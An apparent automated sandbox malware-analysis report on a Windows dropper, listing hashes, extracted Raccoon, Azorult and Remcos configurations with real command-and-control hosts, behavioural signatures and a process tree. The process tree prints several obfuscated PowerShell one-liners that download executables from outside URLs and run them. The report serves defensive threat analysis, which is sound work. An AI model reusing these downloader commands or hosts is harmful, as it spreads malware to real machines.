Analysis
-
max time kernel
154s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
04-02-2023 21:46
Behavioral task
behavioral1
Sample
36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe
Resource
win10v2004-20220812-en
General
-
Target
36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe
-
Size
332KB
-
MD5
5c011fd59a60dc0db2dee6f6aa60e79d
-
SHA1
d0458c2cc16be344791f135d5dbd6cb68888ca29
-
SHA256
36de4b0fc17f71c1081e39ce702680bef32f4a5ba60145bb9f6759691d1e3460
-
SHA512
bce00a7b914a1b9018a2f114cba88e52f07f10d1237f77380e58c34fb32380f9c8ecaa2406fcec1d916c85b61a461f8c5dc1da35c63162449eee020ffb2ea2cc
-
SSDEEP
6144:rWEVkoStOdrlqgh0p7DJ5cAT4HUV39zY1YfAh4Ua/apTBJ6:iECoStOHx2ppTV39Noh4Ua/apTr6
Malware Config
Extracted
http://nicoslag.ru/asdfg.exe
http://nicoslag.ru/asdfg.exe
Extracted
raccoon
75ea4cb7f040eb3056eaa4e86a3a9d6c
http://91.215.85.146/
Extracted
azorult
http://195.245.112.115/index.php
Extracted
remcos
1122023
nikahuve.ac.ug:65214
kalskala.ac.ug:65214
tuekisaa.ac.ug:65214
parthaha.ac.ug:65214
-
audio_folder
MicRecords
-
audio_path
%AppData%
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
install_path
%AppData%
-
keylog_crypt
true
-
keylog_file
vgbvfxs.dat
-
keylog_flag
false
-
keylog_folder
fsscbas
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
fdsgsdmhj-9K01C1
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
Remcos
-
take_screenshot_option
false
-
take_screenshot_time
5
-
take_screenshot_title
notepad;solitaire;
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
XMRig Miner payload 6 IoCs
Processes:
resource yara_rule behavioral2/memory/2224-264-0x0000000140344454-mapping.dmp xmrig behavioral2/memory/2224-263-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral2/memory/2224-265-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral2/memory/2224-266-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral2/memory/2224-268-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig behavioral2/memory/2224-270-0x0000000140000000-0x00000001407CA000-memory.dmp xmrig -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeflow pid process 12 4780 powershell.exe 13 1528 powershell.exe 14 2388 powershell.exe 15 3148 powershell.exe 17 2416 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
daq.exeoobeldr.exedaq.exeN2p9yJWG.exej5Dr2EYZ.execmd.exemshta.exemshta.exeqgd.exe571F5e7R.exea9CbAuNb.exe36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exemshta.exemshta.exemshta.exemshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation daq.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation oobeldr.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation daq.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation N2p9yJWG.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation j5Dr2EYZ.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation qgd.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation 571F5e7R.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation a9CbAuNb.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation 36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe -
Executes dropped EXE 14 IoCs
Processes:
qgd.exedaq.exedaq.exeqgd.exe571F5e7R.exeN2p9yJWG.exej5Dr2EYZ.exea9CbAuNb.exeN2p9yJWG.exe571F5e7R.exej5Dr2EYZ.exea9CbAuNb.exeoobeldr.exeoobeldr.exepid process 3280 qgd.exe 4556 daq.exe 4044 daq.exe 3480 qgd.exe 3440 571F5e7R.exe 3924 N2p9yJWG.exe 1120 j5Dr2EYZ.exe 3224 a9CbAuNb.exe 4464 N2p9yJWG.exe 4440 571F5e7R.exe 2808 j5Dr2EYZ.exe 516 a9CbAuNb.exe 4444 oobeldr.exe 5016 oobeldr.exe -
Loads dropped DLL 3 IoCs
Processes:
daq.exepid process 4044 daq.exe 4044 daq.exe 4044 daq.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/1748-132-0x0000000000400000-0x0000000000422000-memory.dmp upx -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
a9CbAuNb.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wdzblwjl = "\"C:\\Users\\Admin\\AppData\\Roaming\\Amlcowp\\Wdzblwjl.exe\"" a9CbAuNb.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
TTPs:
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
TTPs:
-
Suspicious use of SetThreadContext 8 IoCs
Processes:
daq.exeqgd.exeN2p9yJWG.exe571F5e7R.exej5Dr2EYZ.exea9CbAuNb.exeN2p9yJWG.exeoobeldr.exedescription pid process target process PID 4556 set thread context of 4044 4556 daq.exe daq.exe PID 3280 set thread context of 3480 3280 qgd.exe qgd.exe PID 3924 set thread context of 4464 3924 N2p9yJWG.exe N2p9yJWG.exe PID 3440 set thread context of 4440 3440 571F5e7R.exe 571F5e7R.exe PID 1120 set thread context of 2808 1120 j5Dr2EYZ.exe j5Dr2EYZ.exe PID 3224 set thread context of 516 3224 a9CbAuNb.exe a9CbAuNb.exe PID 4464 set thread context of 2224 4464 N2p9yJWG.exe AddInProcess.exe PID 4444 set thread context of 5016 4444 oobeldr.exe oobeldr.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
TTPs:
Processes:
schtasks.exeschtasks.exepid process 1540 schtasks.exe 1236 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 2308 timeout.exe 1508 timeout.exe -
Modifies registry class 1 IoCs
Processes:
cmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeN2p9yJWG.exepid process 4012 powershell.exe 4780 powershell.exe 1528 powershell.exe 2388 powershell.exe 4780 powershell.exe 4012 powershell.exe 1528 powershell.exe 2388 powershell.exe 3148 powershell.exe 3148 powershell.exe 2416 powershell.exe 2416 powershell.exe 3148 powershell.exe 2416 powershell.exe 1392 powershell.exe 1392 powershell.exe 1852 powershell.exe 1852 powershell.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe 4464 N2p9yJWG.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 648 -
Suspicious use of AdjustPrivilegeToken 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedaq.exeqgd.exeN2p9yJWG.exeN2p9yJWG.exe571F5e7R.exej5Dr2EYZ.exea9CbAuNb.exepowershell.exepowershell.exeAddInProcess.exeoobeldr.exedescription pid process Token: SeDebugPrivilege 2388 powershell.exe Token: SeDebugPrivilege 1528 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeDebugPrivilege 4012 powershell.exe Token: SeDebugPrivilege 3148 powershell.exe Token: SeDebugPrivilege 2416 powershell.exe Token: SeDebugPrivilege 4556 daq.exe Token: SeDebugPrivilege 3280 qgd.exe Token: SeDebugPrivilege 3924 N2p9yJWG.exe Token: SeDebugPrivilege 4464 N2p9yJWG.exe Token: SeDebugPrivilege 3440 571F5e7R.exe Token: SeDebugPrivilege 1120 j5Dr2EYZ.exe Token: SeDebugPrivilege 3224 a9CbAuNb.exe Token: SeDebugPrivilege 1392 powershell.exe Token: SeDebugPrivilege 1852 powershell.exe Token: SeLockMemoryPrivilege 2224 AddInProcess.exe Token: SeLockMemoryPrivilege 2224 AddInProcess.exe Token: SeDebugPrivilege 4444 oobeldr.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
AddInProcess.exepid process 2224 AddInProcess.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
a9CbAuNb.exepid process 516 a9CbAuNb.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exedaq.exeqgd.exedescription pid process target process PID 1748 wrote to memory of 4384 1748 36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe cmd.exe PID 1748 wrote to memory of 4384 1748 36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe cmd.exe PID 1748 wrote to memory of 4384 1748 36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe cmd.exe PID 4384 wrote to memory of 4788 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 4788 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 4788 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 4708 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 4708 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 4708 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 2308 4384 cmd.exe timeout.exe PID 4384 wrote to memory of 2308 4384 cmd.exe timeout.exe PID 4384 wrote to memory of 2308 4384 cmd.exe timeout.exe PID 4708 wrote to memory of 4012 4708 mshta.exe powershell.exe PID 4708 wrote to memory of 4012 4708 mshta.exe powershell.exe PID 4708 wrote to memory of 4012 4708 mshta.exe powershell.exe PID 4788 wrote to memory of 2388 4788 mshta.exe powershell.exe PID 4788 wrote to memory of 2388 4788 mshta.exe powershell.exe PID 4788 wrote to memory of 2388 4788 mshta.exe powershell.exe PID 4384 wrote to memory of 1144 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1144 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1144 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1392 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1392 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1392 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1508 4384 cmd.exe timeout.exe PID 4384 wrote to memory of 1508 4384 cmd.exe timeout.exe PID 4384 wrote to memory of 1508 4384 cmd.exe timeout.exe PID 1144 wrote to memory of 4780 1144 mshta.exe powershell.exe PID 1144 wrote to memory of 4780 1144 mshta.exe powershell.exe PID 1144 wrote to memory of 4780 1144 mshta.exe powershell.exe PID 1392 wrote to memory of 1528 1392 mshta.exe powershell.exe PID 1392 wrote to memory of 1528 1392 mshta.exe powershell.exe PID 1392 wrote to memory of 1528 1392 mshta.exe powershell.exe PID 4384 wrote to memory of 1468 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1468 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 1468 4384 cmd.exe mshta.exe PID 1468 wrote to memory of 3148 1468 mshta.exe powershell.exe PID 1468 wrote to memory of 3148 1468 mshta.exe powershell.exe PID 1468 wrote to memory of 3148 1468 mshta.exe powershell.exe PID 4384 wrote to memory of 3456 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 3456 4384 cmd.exe mshta.exe PID 4384 wrote to memory of 3456 4384 cmd.exe mshta.exe PID 3456 wrote to memory of 2416 3456 mshta.exe powershell.exe PID 3456 wrote to memory of 2416 3456 mshta.exe powershell.exe PID 3456 wrote to memory of 2416 3456 mshta.exe powershell.exe PID 1528 wrote to memory of 3280 1528 powershell.exe qgd.exe PID 1528 wrote to memory of 3280 1528 powershell.exe qgd.exe PID 1528 wrote to memory of 3280 1528 powershell.exe qgd.exe PID 2416 wrote to memory of 4556 2416 powershell.exe daq.exe PID 2416 wrote to memory of 4556 2416 powershell.exe daq.exe PID 2416 wrote to memory of 4556 2416 powershell.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 3280 wrote to memory of 3480 3280 qgd.exe qgd.exe PID 3280 wrote to memory of 3480 3280 qgd.exe qgd.exe PID 3280 wrote to memory of 3480 3280 qgd.exe qgd.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 4556 wrote to memory of 4044 4556 daq.exe daq.exe PID 3280 wrote to memory of 3480 3280 qgd.exe qgd.exe PID 3280 wrote to memory of 3480 3280 qgd.exe qgd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe"C:\Users\Admin\AppData\Local\Temp\36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe"Checks computer location settingsSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\837D.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\36DE4B0FC17F71C1081E39CE702680BEF32F4A5BA6014.exe"Checks computer location settingsModifies registry classSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\837D.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}Checks computer location settingsSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL imhur $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;imhur pkzwjshtlmgd $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pkzwjshtlmgd;imhur brvxmhkwft $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JpWA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);brvxmhkwft $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""Blocklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\837D.tmp\m1a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}Checks computer location settingsSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfgtiyleoxj $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfgtiyleoxj rxjawksc $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rxjawksc;cfgtiyleoxj lkhxvdgpjitz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL25pY29zbGFnLnJ1L2FzZGZnLmV4ZQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);lkhxvdgpjitz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""Suspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 1Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\837D.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}Checks computer location settingsSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfpdmyg $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfpdmyg pnuqyjbf $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pnuqyjbf;cfpdmyg josedgvxy $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqaQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);josedgvxy $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""Blocklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\837D.tmp\b1a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}Checks computer location settingsSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL pgnfirdewovxsl $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;pgnfirdewovxsl ezosprk $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|ezosprk;pgnfirdewovxsl ctslxmfoz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2tmZGhzYS5ydS9hc2RmZy5leGU=';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);ctslxmfoz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""Blocklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
-
C:\Users\Public\qgd.exe"C:\Users\Public\qgd.exe"Checks computer location settingsExecutes dropped EXESuspicious use of SetThreadContextSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
-
C:\Users\Public\qgd.exeC:\Users\Public\qgd.exeExecutes dropped EXE
-
C:\Windows\SysWOW64\timeout.exetimeout 2Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\837D.tmp\b2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}Checks computer location settingsSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vqaznm $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vqaznm amvlntpxjbs $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|amvlntpxjbs;vqaznm gbxlmur $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqeA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbxlmur $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""Blocklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\837D.tmp\b2a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}Checks computer location settingsSuspicious use of WriteProcessMemory
-
